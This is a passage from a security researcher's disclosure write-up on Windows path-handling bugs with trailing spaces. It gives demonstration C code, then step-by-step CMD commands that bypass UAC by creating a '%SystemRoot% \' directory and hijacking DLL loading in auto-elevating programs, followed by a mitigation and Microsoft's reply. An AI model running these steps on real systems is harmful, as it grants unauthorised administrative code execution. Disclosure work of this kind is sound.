  [out] LPWIN32_FIND_DATA lpFindFileData
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.

The documentation for the Win32 function FindFirstFileEx() specifies:
Searches a directory for a file or subdirectory with a name and attributes that match those specified.

[…]

HANDLE FindFirstFileEx(
  [in]  LPCTSTR            lpFileName,
  [in]  FINDEX_INFO_LEVELS fInfoLevelId,
  [out] LPVOID             lpFindFileData,
  [in]  FINDEX_SEARCH_OPS  fSearchOp,
        LPVOID             lpSearchFilter,
  [in]  DWORD              dwAdditionalFlags
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

The documentation for the Win32 function GetFullPathName() specifies:
Retrieves the full path and file name of the specified file.

[…]

DWORD GetFullPathName(
  [in]  LPCTSTR lpFileName,
  [in]  DWORD   nBufferLength,
  [out] LPTSTR  lpBuffer,
  [out] LPTSTR  *lpFilePart
);
[…]

This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.

The documentation for the Win32 function GetLongPathName() specifies:
Converts the specified path to its long form.

[…]

DWORD GetLongPathName(
  [in]  LPCTSTR lpszShortPath,
  [out] LPTSTR  lpszLongPath,
  [in]  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.

If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.

If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.

[…]

If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.

The documentation for the Win32 function GetShortPathName() specifies:
Retrieves the short path form of the specified path.

[…]

DWORD GetShortPathName(
  [in]  LPCTSTR lpszLongPath,
  [out] LPTSTR  lpszShortPath,
  [in]  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.

If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.

If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.

[…]

If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.

Demonstration

Perform the following 6 simple steps to show the inconsistent (mis)behaviour and blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szArray[] = {L"Blunder \\NUL:", L"Blunder \\.", L"Blunder \\blunder.tmp", L"Blunder \\*"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_DATA	wfd;
    
    	DWORD	dwArray = 0UL;
    	DWORD	dwError;
    	DWORD	dwBlunder;
    	WCHAR	szBlunder[MAX_PATH];
    	BOOL	bBlunder = FALSE;
    	HANDLE	hBlunder;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		do
    		{
    			hBlunder = FindFirstFile(szArray[dwArray], &wfd);
    
    			if (hBlunder == INVALID_HANDLE_VALUE)
    				PrintConsole(hError,
    				             L"FindFirstFile() returned error %lu for argument \'%ls\'\n",
    				             dwError = GetLastError(), szArray[dwArray]);
    			else
    			{
    				do
    					PrintConsole(hError,
    					             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX for argument \'%ls\'\n",
    					             bBlunder ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes, szArray[dwArray]);
    				while (bBlunder = FindNextFile(hBlunder, &wfd));
    
    				dwError = GetLastError();
    
    				if (dwError == ERROR_NO_MORE_FILES)
    					dwError = ERROR_SUCCESS;
    				else
    					PrintConsole(hError,
    					             L"FindNextFile() returned error %lu for argument \'%ls\'\n",
    					             dwError, szArray[dwArray]);
    
    				if (!FindClose(hBlunder))
    					PrintConsole(hError,
    					             L"FindClose() returned error %lu for argument \'%ls\'\n",
    					             dwError = GetLastError(), szArray[dwArray]);
    			}
    
    			dwBlunder = GetFullPathName(szArray[dwArray],
    			                            sizeof(szBlunder) / sizeof(*szBlunder),
    			                            szBlunder,
    			                            NULL);
    			if (dwBlunder == 0UL)
    				PrintConsole(hError,
    				             L"GetFullPathName() returned error %lu for argument \'%ls\'\n",
    				             dwError = GetLastError(), szArray[dwArray]);
    			else
    				PrintConsole(hError,
    				             L"GetFullPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
    				             szBlunder, dwBlunder, szArray[dwArray]);
    
    			dwBlunder = GetLongPathName(szArray[dwArray],
    			                            szBlunder,
    			                            sizeof(szBlunder) / sizeof(*szBlunder));
    			if (dwBlunder == 0UL)
    				PrintConsole(hError,
    				             L"GetLongPathName() returned error %lu for argument \'%ls\'\n",
    				             dwError = GetLastError(), szArray[dwArray]);
    			else
    				PrintConsole(hError,
    				             L"GetLongPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
    				             szBlunder, dwBlunder, szArray[dwArray]);
    
    			dwBlunder = GetShortPathName(szArray[dwArray],
    			                             szBlunder,
    			                             sizeof(szBlunder) / sizeof(*szBlunder));
    			if (dwBlunder == 0UL)
    				PrintConsole(hError,
    				             L"GetShortPathName() returned error %lu\n for argument \'%ls\'",
    				             dwError = GetLastError(), szArray[dwArray]);
    			else
    				PrintConsole(hError,
    				             L"GetShortPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
    				             szBlunder, dwBlunder, szArray[dwArray]);
    		}
    		while (++dwArray < sizeof(szArray) / sizeof(*szArray));
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(63) : warning C4706: assignment within conditional expression
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. a first time and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    FindFirstFile() returned error 3 for argument 'Blunder \NUL:'
    GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
    GetLongPathName() returned error 3 for argument 'Blunder \NUL:'
    GetShortPathName() returned error 3 for argument 'Blunder \NUL:'
    FindFirstFile() returned error 2 for argument 'Blunder \.'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
    GetLongPathName() returned error 2 for argument 'Blunder \.'
    GetShortPathName() returned error 2 for argument 'Blunder \.'
    FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
    GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp'
    GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp'
    FindFirstFile() returned error 3 for argument 'Blunder \*'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
    GetLongPathName() returned error 3 for argument 'Blunder \*'
    GetShortPathName() returned error 3 for argument 'Blunder \*'
    
    0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3)
    Error message text: The system cannot find the path specified.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() misinterpret mutilate the directory name Blunder \. as Blunder – they remove the suffix \. first and strip the now trailing space afterwards!
  4. Create the empty subdirectory Blunder \, execute the console application blunder.exe built in step 2. a second time and evaluate its exit code:

    MKDIR "Blunder \"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    FindFirstFile() returned error 3 for argument 'Blunder \NUL:'
    GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
    GetLongPathName() returned error 3 for argument 'Blunder \NUL:'
    GetShortPathName() returned error 3 for argument 'Blunder \NUL:'
    FindFirstFile() returned error 2 for argument 'Blunder \.'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
    GetLongPathName() returned error 2 for argument 'Blunder \.'
    GetShortPathName() returned error 2 for argument 'Blunder \.'
    FindFirstFile() returned error 2 for argument 'Blunder \blunder.tmp'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
    GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp'
    GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp'
    FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*'
    FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
    GetLongPathName() returned error 123 for argument 'Blunder \*'
    GetShortPathName() returned error 123 for argument 'Blunder \*'
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function FindFirstFile() does not fail with Win32 error code 2 alias ERROR_FILE_NOT_FOUND if a directory is empty!
  5. Create an empty file blunder.tmp in the subdirectory Blunder \, execute the console application blunder.exe built in step 2. a third time and evaluate its exit code, then remove the file and the subdirectory:

    COPY NUL: "Blunder \blunder.tmp"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    RMDIR /Q /S "Blunder \"
    FindFirstFile() returned error 3 for argument 'Blunder \NUL:'
    GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
    GetLongPathName() returned error 3 for argument 'Blunder \NUL:'
    GetShortPathName() returned error 3 for argument 'Blunder \NUL:'
    FindFirstFile() returned error 2 for argument 'Blunder \.'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
    GetLongPathName() returned error 2 for argument 'Blunder \.'
    GetShortPathName() returned error 2 for argument 'Blunder \.'
    FindFirstFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \blunder.tmp'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
    GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp'
    GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp'
    FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*'
    FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*'
    FindNextFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \*'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
    GetLongPathName() returned error 123 for argument 'Blunder \*'
    GetShortPathName() returned error 123 for argument 'Blunder \*'
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    OUCH³: the Win32 functions GetLongPathName() and GetShortPathName() fail with Win32 error code 2 alias ERROR_FILE_NOT_FOUND although the file Blunder \blunder.tmp exists!
  6. Create the subdirectory Blunder\ and an empty file blunder.tmp in it, execute the console application blunder.exe built in step 2. a last time and evaluate its exit code, then remove the file and the subdirectory:

    MKDIR Blunder
    COPY NUL: Blunder\blunder.tmp
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    RMDIR /Q /S Blunder
    FindFirstFile() returned filename 'NUL' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \NUL:'
    GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
    GetLongPathName() returned pathname 'Blunder\NUL' of 11 characters for argument 'Blunder \NUL:'
    GetShortPathName() returned pathname 'Blunder \NUL:' of 13 characters for argument 'Blunder \NUL:'
    FindFirstFile() returned filename 'Blunder' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \.'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
    GetLongPathName() returned pathname 'Blunder\.' of 9 characters for argument 'Blunder \.'
    GetShortPathName() returned pathname 'Blunder \.' of 10 characters for argument 'Blunder \.'
    FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
    GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp'
    GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp'
    FindFirstFile() returned error 3 for argument 'Blunder \*'
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
    GetLongPathName() returned error 3 for argument 'Blunder \*'
    GetShortPathName() returned error 3 for argument 'Blunder \*'
    
    0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3)
    Error message text: The system cannot find the path specified.
    CertUtil: -error command completed successfully.
    OUCH⁴: the Win32 functions FindFirstFile() and GetLongPathName() halluzinate a not existing file Blunder \NUL instead to fail with Win32 error code 3 alias ERROR_PATH_NOT_FOUND!

    OUCH⁵: the Win32 function GetShortPathName() halluzinates a not existing file Blunder \NUL: and a not existing directory Blunder \. instead to fail with Win32 error code 3 alias ERROR_PATH_NOT_FOUND!

Note: an exploration of the blunder with the Win32 functions FindFirstFileEx(), FindFirstFileTransacted(), GetFullPathNameTransacted() and GetLongPathNameTransacted() is left as an exercise to the reader.

Note: an exploration of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing periods followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The Win32 functions GetFullPathName() and GetLongPathName() are used (direct and indirect) by the security theatre UAC to verify two of the three preconditions required for auto-elevation of applications: They are also used by SAFER alias Software Restriction Policies to evaluate path rules.

Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE.

Exploitation

Log on to the user account created during Windows Setup and perform the following 11 simple steps to exploit the blunder demonstrated above and show a UAC bypass including arbitrary code execution with administrative privileges and access rights.

Note: steps 1. through 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the blunder, and step 11. cleans up.

  1. Start the Command Processor Cmd.exe unelevated, then execute the Kernel Transaction Management Utility KTMUtil.exe to verify that the Command Processor Cmd.exe runs without administrative privileges and access rights.

    CHDIR /D "%SystemRoot%"
    System32\KTMUtil.exe
    Note: the command lines can be copied and pasted as blocks into a Command Processor window.
    The KTMUTIL utility requires that you have administrative privileges.
  2. [Screen shot of 'User Accounts' dialog] Load and execute NetPlWiz.dll to display the User Accounts dialog box:

    System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
    Note: the TechNet article PassportWizardRunDll documents another (now removed) function of NetPlWiz.dll that is was supposed to be called this way too.
  3. [Screen shot of 'Printer Settings' dialog] Load and execute PrintUI.dll to display a dialog box with the usage instructions of its PrintUIEntry() function, as documented in the TechNet article Rundll32 printui.dll,PrintUIEntry:

    System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?

  4. [Screen shot of message box for error 1114 alias ERROR_DLL_INIT_FAILED] Load and execute ShUnimpl.dll to let RunDLL32.exe display an error message box:

    System32\RunDLL32.exe System32\ShUnimpl.dll,#0
    Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ Shell from prior versions of Windows NT – to inhibit their use, its _DllMainCRTStartup() entry point function intentionally returns FALSE and lets the Win32 function LoadLibrary() fail with Win32 error code 1114 alias ERROR_DLL_INIT_FAILED.
  5. Execute MMC.exe to trigger a (blue) UAC prompt that shows Verified Publisher: Microsoft Windows:

    System32\MMC.exe
    Note: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
  6. Execute the auto-elevating PrintUI.exe to load PrintUI.dll and display its Printer Settings dialog box without triggering a UAC prompt:

    System32\NetPlWiz.exe
  7. Execute the auto-elevating NetPlWiz.exe to load NetPlWiz.dll and display its User Accounts dialog box without triggering a UAC prompt:

    System32\PrintUI.exe
  8. Copy MMC.exe, NetPlWiz.exe and PrintUI.exe into an (arbitrary) subdirectory of the systems’ TEMP directory %SystemRoot%\Temp\, then execute these copies to trigger a (now yellow) UAC prompt that shows Publisher: Unknown:

    MKDIR Temp\Blunder
    COPY System32\MMC.exe Temp\Blunder\MMC.exe
    Temp\Blunder\MMC.exe
    COPY System32\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe
    Temp\Blunder\NetPlWiz.exe
    COPY System32\PrintUI.exe Temp\Blunder\PrintUI.exe
    Temp\Blunder\PrintUI.exe
    RMDIR /Q /S Temp\Blunder
    Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate catalog files %SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat, %SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat and %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat, while an index of the signatures’ hashes is maintained in the catalog database files %SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb, %SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb and %SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.

    (Not only) UAC validates these detached digital signatures independent of the actual file name, and with some exceptions, for example in an untrusted directory like %SystemRoot%\Temp\, also independent of the actual path name.

  9. Create the directory Windows \ in the root directory of the system drive, copy MMC.exe, NetPlWiz.exe and PrintUI.exe into it, execute the copy of MMC.exe to trigger a (blue) UAC prompt that shows Publisher: Unknown, then execute NetPlWiz.exe and PrintUI.exe to load NetPlWiz.dll and PrintUI.dll which display their dialog boxes without triggering a UAC prompt:

    MKDIR "%SystemRoot% \"
    COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
    START "OUCH!" /WAIT "%SystemRoot% \MMC.exe"
    COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
    START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
    START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
    OUCH⁵: due to the bugs of the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() demonstrated above, the security theatre UAC misidentifies %SystemRoot% \ as trusted directory and performs auto-elevation!

    Note: UAC exhibits this vulnerability (at least) in the directories
    %SystemRoot% \,
    %SystemRoot% .\,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \.

  10. Copy ShUnimpl.dll as NetPlWiz.dll and PrintUI.dll into the directory Windows \, then execute the copies of the auto-elevating NetPlWiz.exe and PrintUI.exe again:

    [Screen shot of message box for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND]

    COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
    START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    System32\CertUtil.exe /ERROR %ERRORLEVEL%
    COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
    START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
    System32\CertUtil.exe /ERROR %ERRORLEVEL%
            1 file(s) copied.
    0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
    Error message text: {Entry Point Not Found}
    The procedure entry point %hs could not be located in the dynamic link library %hs.
    CertUtil: -error command completed successfully.
            1 file(s) copied.
    0x45a (WIN32: 1114 ERROR_DLL_INIT_FAILED) -- 1114 (1114)
    Error message text: A dynamic link library (DLL) initialization routine failed.
    CertUtil: -error command completed successfully.
    OUCH⁶: (like almost all applications shipped with Windows) NetPlWiz.exe and PrintUI.exe are vulnerable to CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, and susceptible to CAPEC-471: Search Order Hijacking – they load and execute (at least) an arbitrary (unsigned) NetPlWiz.dll respectively PrintUI.dll from their (untrusted and user-writable) application directory %SystemRoot% \ instead from Windows’ system directory %SystemRoot%\System32\, allowing arbitrary code execution with administrative privileges and access rights!

    Note: if Microsoft’s developers were not so careless, clueless and sloppy, their quality miserability assurance not sound asleep, and their managers not completely ignorant and incompetent, they would have read for example the MSRC blog post Load Library Safely, the MSKB articles 2389418 and 2533623, the Security Advisory 2269637, the MSDN articles Dynamic-Link Library Security and Dynamic-Link Library Search Order, then exercised defense in depth and fixed their crap long ago to inhibit such attacks!

    Note: NetPlWiz.dll is a static (load-time) dependency of NetPlWiz.exe, and PrintUI.dll is a run-time dependency of PrintUI.exe.

    Note: building a DLL that is loaded by NetPlWiz.exe or PrintUI.exe and executes arbitrary code is left as an exercise to the reader.

  11. Clean up:

    RMDIR /Q /S "%SystemRoot% \"
    EXIT

Mitigation

Remove the permission to create directories in the root directory of the system drive for unprivileged users (really: members of the NT AUTHORITY\Authenticated Users or the BUILTIN\Users groups):
ICACLs.exe "%SystemDrive%\\" /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11
Note: the paired backslashes are required due to their special treatment in front of a quotation mark.

MSRC Case 64465

Due to their security impact I reported these bugs at the MSRC where case number 64465 was assigned.

They replied with the following statements:

Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.

[…]

Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.

I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.

Ouch¹: the exploit works without administrator privileges!

Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!

Ouch³: even if Jane and Joe Average create and use a secondary (unprivileged) standard user account they might very likely be fooled by the blue UAC prompt that shows Verified Publisher: Microsoft Windows.

Note: UAC (and SAFER alias Software Restriction Policies too) is the victim here – the vulnerability results from bugs in the Win32 functions GetFullPathName(), GetLongPathName() and GetShortPathName() coupled with insecure loading of DLLs!

Blunder № 55

Matching the header files of the Platform Windows Software Development Kits, the MSDN documents the prototype declarations of the Win32 functions AdjustTokenPrivileges(), CheckTokenMembership(), CompareFileTime(), ConvertSecurityDescriptorToStringSecurityDescriptor(), ConvertSidToStringSid(), ConvertStringSecurityDescriptorToSecurityDescriptor(), ConvertStringSidToSid(), CreateDirectory(), CreateEnvironmentBlock(), CreateFile(), CreateProcess(), DestroyEnvironmentBlock(), FreeEnvironmentStrings(), GetUserObjectSecurity(), IsValidAcl(), IsValidSecurityDescriptor(), IsValidSid(), LocalFree(), RegisterClass(), RegisterClassEx(), SetSecurityInfo() and SetUserObjectSecurity() (just to pick a few examples, in alphabetical order) as follows:
BOOL AdjustTokenPrivileges(
  [in]            HANDLE            TokenHandle,
  [in]            BOOL              DisableAllPrivileges,
  [in, optional]  PTOKEN_PRIVILEGES NewState,
  [in]            DWORD             BufferLength,
  [out, optional] PTOKEN_PRIVILEGES PreviousState,
  [out, optional] PDWORD            ReturnLength
);
BOOL CheckTokenMembership(
  [in, optional] HANDLE TokenHandle,
  [in]           PSID   SidToCheck,
  [out]          PBOOL  IsMember
);
LONG CompareFileTime(
  [in] const FILETIME *lpFileTime1,
  [in] const FILETIME *lpFileTime2
);
BOOL ConvertSecurityDescriptorToStringSecurityDescriptor(
  [in]  PSECURITY_DESCRIPTOR SecurityDescriptor,
  [in]  DWORD                RequestedStringSDRevision,
  [in]  SECURITY_INFORMATION SecurityInformation,
  [out] LPTSTR               *StringSecurityDescriptor,
  [out] PULONG               StringSecurityDescriptorLen
);
BOOL ConvertSidToStringSid(
  [in]  PSID   Sid,
  [out] LPTSTR *StringSid
);
BOOL ConvertStringSecurityDescriptorToSecurityDescriptor(
  [in]  LPCTSTR              StringSecurityDescriptor,
  [in]  DWORD                StringSDRevision,
  [out] PSECURITY_DESCRIPTOR *SecurityDescriptor,
  [out] PULONG               SecurityDescriptorSize
);
BOOL ConvertStringSidToSid(
  [in]  LPCTSTR StringSid,
  [out] PSID    *Sid
);
BOOL CreateDirectory(
  [in]           LPCTSTR               lpPathName,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
BOOL CreateEnvironmentBlock(
  [out]          LPVOID *lpEnvironment,
  [in, optional] HANDLE hToken,
  [in]           BOOL   bInherit
);
HANDLE CreateFile(
  [in]           LPCTSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
BOOL CreateProcess(
  [in, optional]      LPCTSTR               lpApplicationName,
  [in, out, optional] LPTSTR                lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCTSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFO         lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
BOOL DestroyEnvironmentBlock(
  [in] LPVOID lpEnvironment
);
BOOL FreeEnvironmentStrings(
  [in] LPTCH penv
);
BOOL GetUserObjectSecurity(
  [in]                HANDLE                hObj,
  [in]                PSECURITY_INFORMATION pSIRequested,
  [in, out, optional] PSECURITY_DESCRIPTOR  pSID,
  [in]                DWORD                 nLength,
  [out]               LPDWORD               lpnLengthNeeded
);
BOOL IsValidAcl(
  [in] PACL pAcl
);
BOOL IsValidSecurityDescriptor(
  [in] PSECURITY_DESCRIPTOR pSecurityDescriptor
);
BOOL IsValidSid(
  [in] PSID pSid
);
HLOCAL LocalFree(
  [in] HLOCAL hMem
);
ATOM RegisterClass(
  [in] const WNDCLASS *lpWndClass
);
ATOM RegisterClassEx(
  [in] const WNDCLASSEX *unnamedParam1
);
DWORD SetSecurityInfo(
  [in]           HANDLE               handle,
  [in]           SE_OBJECT_TYPE       ObjectType,
  [in]           SECURITY_INFORMATION SecurityInfo,
  [in, optional] PSID                 psidOwner,
  [in, optional] PSID                 psidGroup,
  [in, optional] PACL                 pDacl,
  [in, optional] PACL                 pSacl
);
BOOL SetUserObjectSecurity(
  [in] HANDLE hObj,
  [in] PSECURITY_INFORMATION pSIRequested,
